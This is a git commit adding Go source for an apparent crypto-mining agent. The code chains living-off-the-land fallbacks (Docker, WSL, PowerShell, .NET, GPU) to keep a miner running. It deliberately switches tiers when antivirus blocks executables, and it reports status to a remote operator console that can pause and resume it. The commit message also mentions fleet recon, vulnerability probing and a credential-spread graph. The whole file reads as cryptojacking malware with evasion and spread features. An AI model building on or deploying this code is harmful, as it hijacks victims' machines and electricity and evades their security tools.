Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/agent/client/mining_chain.go
+++ b/agent/client/mining_chain.go
@@ -0,0 +1,488 @@
+package client
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"log"
+	"sync"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+)
+
+// MiningChainRunner wires the unified fallback cascade into AgentClient.
+type MiningChainRunner struct {
+	client *AgentClient
+	ctrl   *miner.ChainController
+	tiers  *miner.TierOrchestrator
+	onion  *miner.TripleOnionOrchestrator
+
+	mu            sync.Mutex
+	monCancel     context.CancelFunc
+	onionAttempts []miner.TierAttempt
+}
+
+func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
+	miner.SetVulnProbeRunner(func() miner.TierAttempt {
+		report := RunVulnLOTLProbe()
+		attempt := miner.TierAttempt{
+			Tier:   miner.TierVulnProbe,
+			OK:     true,
+			Wallet: c.cfg.Wallet,
+			Details: map[string]interface{}{
+				"risk_score":     report.RiskScore,
+				"exposed_count":  report.ExposedCount,
+				"finding_count":  len(report.Findings),
+			},
+		}
+		return attempt
+	})
+	r := &MiningChainRunner{client: c}
+	hooks := miner.ChainHooks{
+		StartDockerLoad: r.startDockerLoad,
+		StartContainer:  r.startContainer,
+		StartWSL:        r.startWSL,
+		StartPowerShell: r.startPowerShell,
+		StartDotnet:     r.startDotnet,
+		StartInProcess:  r.startInProcess,
+		StartGPU:        r.startGPU,
+		StartPyOpenCL:   r.startPyOpenCL,
+		StopDockerLoad:  r.stopDockerLoad,
+		StopContainer:   r.stopContainer,
+		StopWSL:         r.stopWSL,
+		StopPowerShell:  r.stopPowerShell,
+		StopDotnet:      r.stopDotnet,
+		StopInProcess:   r.stopInProcess,
+		StopGPU:         r.stopGPU,
+		StopPyOpenCL:    r.stopPyOpenCL,
+		IsDockerLoadHealthy: func() bool {
+			return c.containerMiner != nil && c.containerMiner.Running()
+		},
+		IsContainerHealthy: func() bool {
+			return c.containerMiner != nil && c.containerMiner.Running()
+		},
+		IsWSLHealthy: func() bool {
+			return c.wslMiner != nil && c.wslMiner.Running()
+		},
+		IsGPUSupported: func() bool {
+			return newGPUMiner(c.cfg) != nil
+		},
+		PoolConfigured: func() bool {
+			return c.cfg.PoolHost != ""
+		},
+	}
+	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
+	r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent)
+	hooks.RunTierProbes = func() miner.TierReport {
+		r.tiers.RunProbes(context.Background())
+		return r.tiers.Report()
+	}
+	hooks.RunTierChain = func() (miner.LOTLTier, error) {
+		tier, err := r.tiers.TryChain(context.Background())
+		return tier, err
+	}
+	hooks.StopTiers = func() {}
+	hooks.WebGPUReady = r.tiers.WebGPUReady
+	hooks.GPUComputeReady = r.tiers.GPUComputeReady
+	r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent)
+	r.onion = r.wireTripleOnion()
+	return r
+}
+
+func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks {
+	return miner.TierHooks{
+		StartDockerLoad: r.startDockerLoad,
+		StartContainer:  r.startContainer,
+		StartWSL:        r.startWSL,
+		StartPowerShell: r.startPowerShell,
+		StartDotnet:     r.startDotnet,
+		StartInProcess:  r.startInProcess,
+		StartGPU:        r.startGPU,
+		StopDockerLoad:  r.stopDockerLoad,
+		StopContainer:   r.stopContainer,
+		StopWSL:         r.stopWSL,
+		StopPowerShell:  r.stopPowerShell,
+		StopDotnet:      r.stopDotnet,
+		StopInProcess:   r.stopInProcess,
+		StopGPU:         r.stopGPU,
+		IsGPUSupported:  isGPUSupported,
+	}
+}
+
+// Start launches recon → deploy → mining triple onion, then the health monitor.
+func (r *MiningChainRunner) Start(ctx context.Context) {
+	if r.onion != nil {
+		report := r.onion.Run(ctx)
+		log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d",
+			report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts))
+		r.mu.Lock()
+		r.onionAttempts = report.Attempts
+		r.mu.Unlock()
+		return
+	}
+	r.startMiningCascade(ctx)
+}
+
+// startMiningCascade runs the existing LOTL mining onion + fallback chain.
+func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
+	execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
+	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
+	tierReport := r.tiers.Report()
+	log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v",
+		execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder)
+	if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" {
+		log.Printf("[mining-chain] %s", hint)
+	}
+	if probes.AVBlocksExe {
+		log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS")
+	}
+
+	if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated {
+		policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy())
+		r.client.mu.Lock()
+		r.client.tierPolicy = policy
+		r.client.mu.Unlock()
+		r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool {
+			return newGPUMiner(r.client.cfg) != nil
+		}), r.reportTierEvent)
+	}
+
+	if tier, err := r.tiers.TryChain(ctx); err != nil {
+		log.Printf("[mining-chain] LOTL tier chain failed: %v", err)
+	} else if method, ok := miner.TierToMiningMethod(tier); ok {
+		r.ctrl.SetPrimaryActive(method)
+	}
+
+	if _, err := r.ctrl.TryChain(ctx); err != nil {
+		log.Printf("[mining-chain] initial chain pass failed: %v", err)
+	}
+
+	monCtx, cancel := context.WithCancel(ctx)
+	r.mu.Lock()
+	r.monCancel = cancel
+	r.mu.Unlock()
+	go r.ctrl.Monitor(monCtx)
+}
+
+// Stop halts all mining methods in the chain.
+func (r *MiningChainRunner) Stop() {
+	r.mu.Lock()
+	if r.monCancel != nil {
+		r.monCancel()
+		r.monCancel = nil
+	}
+	r.mu.Unlock()
+	r.ctrl.StopAll()
+}
+
+// Resume restarts mining after a remote pause command.
+func (r *MiningChainRunner) Resume(ctx context.Context) {
+	r.ctrl.ResumeAll(ctx)
+}
+
+// Restart reruns the full chain (remote resume / reconnect).
+func (r *MiningChainRunner) Restart(ctx context.Context) {
+	r.ctrl.RestartChain(ctx)
+}
+
+// Status returns the live cascade snapshot for stats/diagnostics.
+func (r *MiningChainRunner) Status() miner.MiningStatus {
+	st := r.ctrl.Status()
+	if r.tiers == nil {
+		return st
+	}
+	tr := r.tiers.Report()
+	if tr.ActiveTier != "" {
+		st.LOTLTier = tr.ActiveTier
+	}
+	r.mu.Lock()
+	onionAttempts := r.onionAttempts
+	r.mu.Unlock()
+	attempts := tr.Attempts
+	if len(onionAttempts) > 0 {
+		attempts = mergeOnionAttempts(onionAttempts, attempts)
+	}
+	if len(attempts) > 0 {
+		st.LOTLAttempts = attempts
+	}
+	st.WebGPUReady = tr.WebGPUReady
+	return st
+}
+
+func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt {
+	out := make([]miner.TierAttempt, 0, len(onion)+len(mining))
+	out = append(out, onion...)
+	for _, a := range mining {
+		if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) {
+			out = append(out, a)
+		}
+	}
+	return out
+}
+
+// SetStratumActive records direct Stratum overlay from stratumFallbackManager.
+func (r *MiningChainRunner) SetStratumActive(active bool) {
+	r.ctrl.SetStratumActive(active)
+}
+
+// OnGPUFailed records GPU subprocess failure without stopping CPU primary.
+func (r *MiningChainRunner) OnGPUFailed(reason string) {
+	r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason)
+}
+
+func (r *MiningChainRunner) startDockerLoad() error {
+	c := r.client
+	_, containerRT := miner.ResolveExecutionMode(c.cfg)
+	if !containerRT.Available {
+		return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)")
+	}
+	tarPath, err := miner.ResolveImageTar(c.cfg)
+	if err != nil {
+		return err
+	}
+	launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath)
+	if err != nil {
+		return err
+	}
+	if err := launcher.Start(); err != nil {
+		return err
+	}
+	c.containerMiner = launcher
+	c.hostMiningDisabled.Store(true)
+	c.pool.PauseRemote()
+	log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet)
+	return nil
+}
+
+func (r *MiningChainRunner) startContainer() error {
+	c := r.client
+	_, containerRT := miner.ResolveExecutionMode(c.cfg)
+	launcher, err := miner.NewContainerLauncher(c.cfg, containerRT)
+	if err != nil {
+		return err
+	}
+	if err := launcher.Start(); err != nil {
+		return err
+	}
+	c.containerMiner = launcher
+	c.hostMiningDisabled.Store(true)
+	c.pool.PauseRemote()
+	log.Printf("[mining-chain] container active — host RandomX paused")
+	return nil
+}
+
+func (r *MiningChainRunner) startWSL() error {
+	c := r.client
+	wslRT := miner.WSLDetector()
+	launcher, err := miner.NewWSLLauncher(c.cfg, wslRT)
+	if err != nil {
+		return err
+	}
+	if err := launcher.Start(); err != nil {
+		return err
+	}
+	c.wslMiner = launcher
+	c.hostMiningDisabled.Store(true)
+	c.pool.PauseRemote()
+	log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet)
+	return nil
+}
+
+func (r *MiningChainRunner) startPowerShell() error {
+	c := r.client
+	launcher, err := miner.NewPowerShellLauncher(c.cfg)
+	if err != nil {
+		return err
+	}
+	if err := launcher.Start(); err != nil {
+		return err
+	}
+	c.psMiner = launcher
+	c.hostMiningDisabled.Store(true)
+	c.pool.PauseRemote()
+	log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort)
+	return nil
+}
+
+func (r *MiningChainRunner) startDotnet() error {
+	c := r.client
+	launcher, err := miner.NewDotnetLauncher(c.cfg)
+	if err != nil {
+		return err
+	}
+	if err := launcher.Start(); err != nil {
+		return err
+	}
+	c.dotnetMiner = launcher
+	c.hostMiningDisabled.Store(true)
+	c.pool.PauseRemote()
+	log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s",
+		c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir())
+	return nil
+}
+
+func (r *MiningChainRunner) startInProcess() error {
+	c := r.client
+	r.stopSidecarPrimary(c)
+	c.hostMiningDisabled.Store(false)
+	c.pool.ResumeRemote()
+	log.Printf("[mining-chain] in-process RandomX active")
+	return nil
+}
+
+func (r *MiningChainRunner) startGPU() error {
+	c := r.client
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if c.gpuMiner != nil {
+		c.gpuMiner.Resume()
+		return nil
+	}
+	gm := newGPUMiner(c.cfg)
+	if gm == nil {
+		return miner.ErrMethodUnavailable
+	}
+	c.gpuMiner = gm
+	gm.Start()
+	log.Printf("[mining-chain] GPU subprocess started (parallel RVN)")
+	return nil
+}
+
+func (r *MiningChainRunner) startPyOpenCL() error {
+	if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil {
+		return err
+	}
+	log.Printf("[mining-chain] linux_pyopencl tier probe OK")
+	return nil
+}
+
+func (r *MiningChainRunner) stopPyOpenCL() {}
+
+func (r *MiningChainRunner) stopDockerLoad() {
+	r.stopContainer()
+}
+
+func (r *MiningChainRunner) stopContainer() {
+	c := r.client
+	if c.containerMiner != nil {
+		c.containerMiner.Stop()
+		c.containerMiner = nil
+	}
+	c.hostMiningDisabled.Store(false)
+}
+
+func (r *MiningChainRunner) stopWSL() {
+	c := r.client
+	if c.wslMiner != nil {
+		c.wslMiner.Stop()
+		c.wslMiner = nil
+	}
+	c.hostMiningDisabled.Store(false)
+}
+
+func (r *MiningChainRunner) stopPowerShell() {
+	c := r.client
+	if c.psMiner != nil {
+		c.psMiner.Stop()
+		c.psMiner = nil
+	}
+	c.hostMiningDisabled.Store(false)
+}
+
+func (r *MiningChainRunner) stopDotnet() {
+	c := r.client
+	if c.dotnetMiner != nil {
+		c.dotnetMiner.Stop()
+		c.dotnetMiner = nil
+	}
+	c.hostMiningDisabled.Store(false)
+}
+
+func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) {
+	if c.containerMiner != nil && c.containerMiner.Running() {
+		c.containerMiner.Stop()
+		c.containerMiner = nil
+	}
+	if c.wslMiner != nil && c.wslMiner.Running() {
+		c.wslMiner.Stop()
+		c.wslMiner = nil
+	}
+	if c.psMiner != nil && c.psMiner.Running() {
+		c.psMiner.Stop()
+		c.psMiner = nil
+	}
+	if c.dotnetMiner != nil && c.dotnetMiner.Running() {
+		c.dotnetMiner.Stop()
+		c.dotnetMiner = nil
+	}
+}
+
+func (r *MiningChainRunner) stopInProcess() {
+	c := r.client
+	c.pool.PauseRemote()
+}
+
+func (r *MiningChainRunner) stopGPU() {
+	c := r.client
+	c.mu.Lock()
+	gm := c.gpuMiner
+	c.mu.Unlock()
+	if gm != nil {
+		gm.Stop()
+	}
+	c.mu.Lock()
+	c.gpuMiner = nil
+	c.mu.Unlock()
+	r.ctrl.SetGPUActive(false)
+}
+
+func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) {
+	c := r.client
+	payload, err := json.Marshal(struct {
+		miner.TierReport
+		Event string `json:"event"`
+	}{
+		TierReport: report,
+		Event:      eventType,
+	})
+	if err != nil {
+		return
+	}
+	if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil {
+		log.Printf("[lotl-tier] %s notify failed: %v", eventType, err)
+	}
+	r.ctrl.MergeLOTLReport(report)
+	if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok {
+		r.ctrl.SetPrimaryActive(method)
+	}
+}
+
+func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) {
+	c := r.client
+	payload, err := json.Marshal(struct {
+		miner.MiningStatus
+		Event string `json:"event"`
+	}{
+		MiningStatus: status,
+		Event:        eventType,
+	})
+	if err != nil {
+		return
+	}
+	if err := c.write(Message{Type: eventType, Payload: payload}); err != nil {
+		log.Printf("[mining-chain] %s notify failed: %v", eventType, err)
+	}
+}
+
+// chainOrderForConfig exposes chain order for diagnostics without starting mining.
+func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod {
+	rt := miner.RuntimeDetector()
+	return miner.DefaultFallbackChain(cfg, rt)
+}
+
+func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier {
+	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
+	chain, _ := miner.SelectMiningTierChain(probes, policy, cfg)
+	return chain
+}